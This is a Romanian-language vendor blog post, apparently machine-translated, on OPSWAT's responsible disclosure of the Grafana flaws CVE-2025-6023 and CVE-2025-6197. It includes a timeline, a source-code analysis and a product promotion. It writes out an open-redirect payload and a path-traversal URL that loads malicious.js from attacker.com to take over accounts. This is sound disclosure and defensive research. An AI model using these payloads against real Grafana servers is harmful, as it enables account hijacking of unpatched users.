AI Hacking - Cum folosesc hackerii inteligența artificială în atacurile cibernetice

Citește acum
Utilizăm inteligența artificială pentru traducerile site-urilor și, deși ne străduim să fim exacți, este posibil ca acestea să nu fie întotdeauna 100% precise. Apreciem înțelegerea dumneavoastră.

Grafana CVE-2025-6023: Unitatea 515 descoperă un remediu incomplet care duce la preluarea completă a contului

de OPSWAT
Împărtășește această postare

Grafana este o platformă open-source de top pentru vizualizarea, analiza și monitorizarea datelor, permițând utilizatorilor să creeze tablouri de bord interactive prin agregarea datelor din mai multe surse. Cu peste 68 000 de stele pe GitHub și milioane de descărcări prin Docker Hub și alte depozite, Grafana a devenit o componentă critică în stivele moderne de monitorizare din toate industriile.

Adoptarea sa pe scară largă și rolul său critic în monitorizarea infrastructurii fac din Grafana o țintă principală pentru actorii amenințători. Securizarea acesteia este esențială pentru protejarea integrității și disponibilității mediilor de monitorizare din toate întreprinderile.

La OPSWAT, contribuim activ la comunitatea de securitate prin cercetarea și dezvăluirea responsabilă a vulnerabilităților din platformele utilizate pe scară largă, cum ar fi Grafana. În 2021, CVE-2021-39226, o vulnerabilitate critică a fost descoperită și dezvăluită în mod responsabil de TheBlackTurtle, un membru al Unității 515OPSWAT .

În plus față de aceste contribuții, OPSWAT sprijină, de asemenea, următoarea generație de talente în domeniul securității cibernetice prin inițiative de formare practică. Un astfel de program este OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, care oferă studenților experiență practică în identificarea și analizarea amenințărilor de securitate din lumea reală. Ca parte a acestui program, o nouă vulnerabilitate critică în Grafana, CVE-2025-6023, a fost descoperită de unul dintre bursierii noștri în timpul unui proiect de cercetare independent

Programul de burse OPSWAT și descoperirea vulnerabilităților critice

Programul OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship, cu sediul în Vietnam, oferă studenților absolvenți experiență practică în securizarea infrastructurilor critice. Bursierii colaborează activ cu experții în securitate cibernetică OPSWAT pentru a face față provocărilor din lumea reală legate de detectarea programelor malware, securitatea fișierelor și prevenirea amenințărilor.

Ca parte a acestui program riguros, participanții cercetează, reproduc și analizează în mod sistematic vulnerabilitățile cunoscute (CVE) într-o varietate de produse software, biblioteci și sisteme de operare sub îndrumarea experților OPSWAT . Hoa X. Nguyen, unul dintre bursierii noștri distinși, a ales Grafana ca subiect al proiectului său principal de cercetare.

În iunie 2025, în timpul unei revizuiri aprofundate a CVE-2025-4123 și a unei analize mai profunde a codului sursă al Grafana, Hoa X. Nguyen a identificat o vulnerabilitate necunoscută anterior în cadrul platformei. Problema implica înlănțuirea unui defect de redirecționare deschisă cu o vulnerabilitate CSPT (client-side path traversal), rezultând în cele din urmă Cross-Site Scripting (XSS) și preluarea completă a contului prin intermediul unui punct final diferit în Grafana.

În timp ce colaboram îndeaproape cu Unitatea 515, am descoperit nu doar unul, ci două lanțuri separate de exploatări care puteau duce fiecare la compromiterea completă a contului.

OPSWAT și-a continuat contribuția activă prin raportarea responsabilă a vulnerabilităților către Grafana. Problemele au fost recunoscute prompt, iar în versiunile ulterioare au fost publicate patch-uri. Aceste vulnerabilități au fost atribuite ulterior CVE-2025-6023 și CVE-2025-6197 și au fost de atunci listate public în baza de date națională privind vulnerabilitățile (NVD).

Cronologia CVE-2025-6023 & CVE-2025-6197

  • 11 iunie 2025:Hoa X. Nguyen a identificat o vulnerabilitate în ultima versiune Grafana și a trimis un raport de securitate către Grafana.
  • 11 iunie 2025: După discuții, Grafana a confirmat vulnerabilitatea și a atribuit CVE-2025-6023 cu severitate ridicată.
  • 17 iunie 2025:Dat Phung de la Unitatea 515 a lucrat îndeaproape cu Hoa X. Nguyen și a descoperit un alt lanț de atacuri care exploatează vulnerabilitatea.
  • 17 iunie 2025: Grafana a confirmat a doua vulnerabilitate și a atribuit CVE-2025-6197 cu gravitate medie.
  • 17 iulie 2025: Grafana a lansat 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 și 11.3.8+security-01, introducând un patch îmbunătățit care a rezolvat eficient aceste vulnerabilități.
  • 18 iulie 2025: National Vulnerability Database (NVD) a dezvăluit oficial CVE-2025-6023 și CVE-2025-6197.
Grafana CVE-2025-6023 cronologie și pași de atenuare, inclusiv raportul de eroare, datele de remediere și exemplu de politică de securitate
Grafana CVE-2025-6023 și CVE-2025-6197 cronologie care arată cercetătorii și datele de divulgare în Security Hall of Fame

Analiza tehnică a patch-ului incomplet și CVE-2025-6023

În mai 2025, CVE-2025-4123, o vulnerabilitate de mare gravitate în Grafana, a fost dezvăluită de Alvaro Balada. Defecțiunea a combinat traversarea căii pe partea clientului cu o redirecționare deschisă, permițând atacatorilor să livreze pluginuri front-end rău intenționate care execută JavaScript arbitrar în contextul de încredere al Grafana - rezultând în preluarea completă a contului. În cazurile în care accesul anonim a fost activat, nu a fost necesară nicio autentificare. În plus, în cazul în care pluginul Grafana Image Renderer era instalat, exploit-ul putea escalada la SSRF, expunând servicii interne sau metadate cloud.

Grafana a abordat problema cu actualizări de securitate în mai 2025, introducând patch-uri în versiunile 12.0.0+security01, 11.6.1+security01 și altele în ramurile 10.x-11.x. Remedierile au inclus îmbunătățiri ale politicii de securitate a conținutului (CSP) și o sanitizare mai strictă a redirecționărilor.

Ca parte a programului OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship, Hoa X. Nguyen a efectuat o analiză completă a CVE-2025-4123. Cercetarea sa a implicat ingineria inversă a fluxului de exploatare și evaluarea eficacității patch-ului furnizat. În timpul acestei investigații, Hoa a observat că, deși vulnerabilitatea este în esență o combinație de redirecționare deschisă și traversare a căii pe partea clientului, patch-ul pentru CVE-2025-4123 a abordat doar redirecționarea deschisă în staticHandler, printr-o verificare de igienizare a datelor introdusă în commit {ff20b06}.

Diferența de cod care arată patch-ul pentru Grafana CVE-2025-6023 cu modificări la gestionarea căilor în funcția staticHandler

Cu toate acestea, această atenuare parțială nu a abordat vectorul principal de atac. Riscul de bază a rămas: dacă un atacator ar putea identifica un punct final alternativ vulnerabil la redirecționări deschise, același lanț de exploatare ar putea exista în continuare și ar putea fi utilizat pentru a prelua controlul complet asupra contului - chiar și după aplicarea patch-ului. Cu această ipoteză în minte, Hoa a efectuat o revizuire mai aprofundată a codului sursă al bazei de cod Grafana. Prin acest efort, el a reușit să identifice un alt punct final vulnerabil: /user/auth-tokens/rotate.

Acest punct final este conceput pentru a regenera jetoanele de autentificare expirate. Un parametru de interogare redirectTo este utilizat pentru a direcționa utilizatorul către pagina de destinație după ce jetonul este reînnoit cu succes.

Fragment de cod Go care prezintă logica de redirecționare legată de analiza incompletă a patch-urilor Grafana CVE-2025-6023

În cadrul unei implementări tipice, URL-ul de redirecționare este construit prin concatenarea valorii de configurare Cfg.AppSubURL cu parametrul redirectTo furnizat de utilizator. Cu toate acestea, în configurația implicită a Grafana, AppSubURL este nedefinită. Ca urmare, aplicația se bazează exclusiv pe valoarea brută a redirectTo atunci când formează calea de redirecționare.

Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.

Pentru acest mecanism de redirecționare, Grafana încearcă să reducă riscurile de securitate asociate cu datele de intrare furnizate de utilizator printr-o funcție de validare numită ValidateRedirectTo, care este menită să blocheze țintele de redirecționare nesigure - cum ar fi cele care încep cu //example.com - prin neadmiterea dublelor slashes la începutul căii:

Cod Go pentru validarea redirecționării legată de Grafana CVE-2025-6023, care prezintă logica verificărilor pentru cale și gazdă

Cu toate acestea, după cum s-a demonstrat în cercetarea originală a lui Alvaro Balada, această funcție poate fi ocolită folosind o bară oblică urmată de o bară oblică inversă (de exemplu, /\example.com), pe care browserele moderne o interpretează similar cu //example.com. În consecință, următoarea sarcină utilă poate fi utilizată pentru a realiza o redirecționare deschisă, presupunând că utilizatorul este autentificat:

/user/auth-tokens/rotate?redirectTo=/\example.com

Captură de ecran a codului care arată solicitarea HTTP și răspunsul care evidențiază defectul de redirecționare în Grafana CVE-2025-6023 analiză tehnică

Această constatare a lui Hoa X. Nguyen - împreună cu remedierea incompletă pentru CVE-2025-4123 - demonstrează că o preluare completă a contului Grafana rămâne posibilă.

La descoperirea acestei devieri, OPSWAT a raportat imediat problema echipei de dezvoltare Grafana. Ca răspuns, Grafana identificase deja atenuarea anterioară ca fiind incompletă prin discuții interne și planificase să abordeze problema într-o versiune viitoare înainte de raportul nostru. Ca urmare, raportul nostru a fost acceptat cu atribuirea unui nou CVE pentru vulnerabilitatea de redirecționare deschisă descoperită, clasificată cu gravitate medie.

CVE-2025-6023: Un nou lanț de exploatare care permite preluarea completă a contului

CVE-2025-4123 a evidențiat inițial o vulnerabilitate CSPT (client-side path traversal) în cadrul aplicației plugin front-end a Grafana. În raportul său inițial, Hoa X. Nguyen a combinat această problemă CSPT cunoscută cu o eroare de redirecționare deschisă recent descoperită pentru a crea un lanț de exploatare eficient. În ciuda impactului critic demonstrat, vulnerabilității i s-a atribuit doar o gravitate medie, deoarece Grafana recunoscuse deja la nivel intern natura incompletă a remedierii înainte de dezvăluirea CSPT.

Acest lucru a determinat o investigație mai aprofundată cu privire la existența unor defecte CSPT suplimentare în cadrul bazei de cod Grafana care - atunci când sunt combinate cu vulnerabilitatea de redirecționare deschisă recent descoperită - ar putea permite un lanț de exploatare complet independent. În cazul în care o astfel de vulnerabilitate CSPT a fost descoperită pe un alt punct final, aceasta ar putea justifica atribuirea aceluiași nivel ridicat de gravitate ca și CVE-2025-4123.

Descoperirea unui nou Endpoint vulnerabil

Motivat de această ipoteză, Hoa a efectuat o analiză aprofundată a codului sursă al Grafana. În timpul acestei analize, el a identificat un punct final vulnerabil suplimentar care permitea recuperarea dinamică și executarea de scripturi din surse arbitrare - fără validarea sau asanarea corespunzătoare a intrărilor. Acest comportament nesigur este asociat cu funcționalitatea de scripting a tabloului de bord Grafana, gestionată în mod specific prin următoarea rută: 

/dashboard/:type/:slug 

Această rută este procesată de middleware-ul responsabil cu gestionarea scripturilor din tabloul de bord. Mai exact, parametrul :slug este utilizat pentru a încărca și a executa scripturi în mod dinamic - fără o igienizare corespunzătoare - permițând astfel atacatorilor să creeze URL-uri rău intenționate și, eventual, să recreeze un lanț de exploatare similar cu cel din CVE-2025-4123. 

Analiza mecanismului de scripting al tabloului de bord

Mecanismul de scripting al tabloului de bord Grafana utilizează componenta DashboardPageProxy pentru a gestiona cererile corespunzătoare rutei /dashboard/:type/:slug:

Captură de ecran a codului care arată logica de rutare a tabloului de bord relevantă pentru analiza mecanismului de scripting Grafana CVE-2025-6023
Figura 1. Mecanismul de scripting al tabloului de bord

În cadrul DashboardPageProxy, fluxul de execuție se desfășoară după cum urmează:

Captură de ecran a codului care arată logica de scripting a tabloului de bord legată de analiza vulnerabilității Grafana CVE-2025-6023
Figura 2. Fluxuri DashboardPageProxy

Rezultatul returnat de DashboardPageProxy este derivat din executarea metodei stateManager.fetchDashboard(), care acceptă parametrii uid, type și slug extrași din calea URL. Pentru a analiza modul în care este construit acest răspuns, Hoa X.Nguyen a examinat obiectul stateManager și logica din cadrul metodei sale fetchDashboard(). StateManager este instanțiat prin intermediul funcției getDashboardScenePageStateManager(), care este definită în următorul fișier:

/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts

Cod JavaScript pentru gestionarea stării tabloului de bord legat de analiza mecanismului de scripting Grafana CVE-2025-6023
Figura 3. getDashboardScenePageStateManager

Deoarece stateManager este inițializat prin invocarea funcției getDashboardScenePageStateManager() fără niciun argument, după cum se arată în figura 2, se poate concluziona că obiectul returnat este o instanță a clasei UnifiedDashboardScenePageStateManager.

Prin urmare, pentru a înțelege comportamentul metodei fetchDashboard(), el a procedat la analiza implementării acesteia în cadrul clasei UnifiedDashboardScenePageStateManager:

Captură de ecran a codului care arată logica de scripting a tabloului de bord legată de analiza vulnerabilității Grafana CVE-2025-6023
Figura 4. Clasa UnifiedDashboardScenePageStateManager

În cadrul clasei UnifiedDashboardScenePageStateManager, metoda fetchDashboard() invocă mai întâi funcția withVersionHandling(). Această funcție este responsabilă de determinarea și returnarea instanței activeManager. Odată ce activeManager este construit, se apelează la metoda fetchDashboard() corespunzătoare instanței respective, transmițând parametrul opțiuni relevant.

Instanța activeManager este fie un obiect DashboardScenePageStateManager, fie un obiect DashboardScenePageStateManagerV2. Ambele clase implementează o logică similară pentru obținerea datelor din tabloul de bord. Următorul cod este preluat din clasa DashboardScenePageStateManager:

Captură de ecran a codului care arată logica de încărcare a tabloului de bord legată de mecanismul de scripting al tabloului de bord Grafana CVE-2025-6023

În cadrul metodei fetchDashboard() a clasei DashboardScenePageStateManager, se utilizează o instrucțiune de comutare pentru a determina logica de gestionare adecvată în funcție de tipul traseului. În cazul implicit, metoda apelează:

dashboardLoaderSrv.loadDashboard(type, slug, uid, query)

Acest apel inițiază procesul de încărcare a tabloului de bord solicitat. Implementarea de referință a funcției loadDashboard() poate fi găsită în următorul fișier:

/public/app/features/dashboard/services/DashboardLoad

Cod TypeScript pentru logica de încărcare a tabloului de bord în Grafana CVE-2025-6023, care prezintă analiza mecanismului de scripting

În cadrul funcției loadDashboard(), sunt efectuate mai multe verificări condiționale pentru a determina fluxul de procesare adecvat. În cazul specific în care tipul este setat la "script" și există un slug, funcția invocă:

this.loadScriptedDashboard(slug)

Aici, slug-ul - provenit direct din datele introduse de utilizator - este transmis ca parametru către metoda loadScriptedDashboard(). Pentru a evalua fluxul de execuție și posibilele vulnerabilități introduse de acest apel, Hoa a continuat să analizeze implementarea metodei loadScriptedDashboard() în cadrul clasei DashboardLoaderSrvBase:

Captură de ecran a codului care arată logica de scripting a tabloului de bord legată de analiza vulnerabilității Grafana CVE-2025-6023

În metoda loadScriptedDashboard(), parametrul slug - ilustrat în figura 2 - este tratat ca un nume de fișier (șir de caractere) și utilizat pentru a construi url variabilă. Cu toate acestea, acest parametru nu este sanitizat în mod corespunzător. Implementarea aplică o expresie regulată pentru a înlocui toate caracterele punct (.), cu excepția celor imediat urmate de"js", cu o bară oblică înainte (/). Această filtrare parțială nu reușește să igienizeze corect intrarea, lăsând-o susceptibilă la manipularea căii și la atacuri de traversare.

Odată ce URL-ul este construit, script-ul încearcă să încarce tabloul de bord specificat prin invocarea getBackendSrv().get(url). Scriptul recuperat este apoi executat utilizând this.executeScript(code).

Această analiză l-a determinat în cele din urmă pe Hoa X. Nguyen să identifice o nouă vulnerabilitate CSPT (Client-Side Path Traversal) în ultima versiune a Grafana. Din cauza lipsei sanitizării sau validării intrărilor, un atacator poate manipula slug-ul pentru a crea o adresă URL care încarcă și execută un script malițios dintr-o sursă externă - replicând problema de bază identificată anterior în CVE-2025-4123 prin încărcarea script-urilor din tabloul de bord.

Atunci când este combinată cu vulnerabilitatea de redirecționare deschisă recent descoperită, această problemă permite un lanț complet de exploatare capabil să realizeze preluarea completă a contului. Un exemplu de sarcină utilă care demonstrează această exploatare este următorul:

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>

De exemplu:

/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js

Fișierul malicious.js ar putea fi creat pentru a schimba adresa de e-mail și numele de utilizator ale victimei cu cele controlate de atacator. Acest lucru ar permite atacatorului să inițieze un proces de resetare a parolei la propria adresă de e-mail, ducând în final la preluarea completă a contului:

Cod JavaScript care exploatează Grafana CVE-2025-6023 pentru a schimba adresa de e-mail și datele de autentificare ale utilizatorului, prezentat pentru analiza scripturilor din tabloul de bord

Dovada de concept pentru CVE-2025-6023

Acest videoclip prezintă impactul practic al CVE-2025-6023, demonstrând un scenariu complet de preluare a contului care afectează utilizatorii Grafana, descoperit de Hoa X. Nguyen, OPSWAT:

Atenuare și îndrumare

Pentru a atenua vulnerabilitățile discutate mai sus, vă rugăm să vă asigurați că sistemul dvs. este actualizat la cea mai recentă versiune a Grafana.

MetaDefender Core folosind motorul SBOM poate detecta această vulnerabilitate

OPSWAT MetaDefender Core, echipat cu capabilități avansate SBOMSoftware Bill of Materials), permite organizațiilor să adopte o abordare proactivă în abordarea riscurilor de securitate. Prin scanarea aplicațiilor software și a dependențelor acestora, MetaDefender Core identifică vulnerabilități cunoscute, precum CVE-2025-6023 și CVE-2025-6197, în cadrul componentelor enumerate. Acest lucru permite echipelor de dezvoltare și securitate să prioritizeze eforturile de aplicare a patch-urilor, reducând potențialele riscuri de securitate înainte ca acestea să poată fi exploatate de actori rău intenționați.

Mai jos este o captură de ecran a CVE-2025-6023 și CVE-2025-6197, care au fost detectate de MetaDefender Core cu SBOM:

MetaDefender Core SBOM motor detectează Grafana CVE-2025-6023 vulnerabilitate ca risc ridicat în go.mod fișier

În plus, CVE-urile pot fi detectate și de MetaDefender Software Supply Chain, care utilizează MetaDefender Core cu SBOM pentru a identifica aceste vulnerabilități.

Motorul MetaDefender Core SBOM detectează vulnerabilitatea Grafana CVE-2025-6023 în interfața de raportare a modulului Go

Rămâneți la curent cu OPSWAT!

Înscrieți-vă astăzi pentru a primi cele mai recente actualizări ale companiei, povești, informații despre evenimente și multe altele.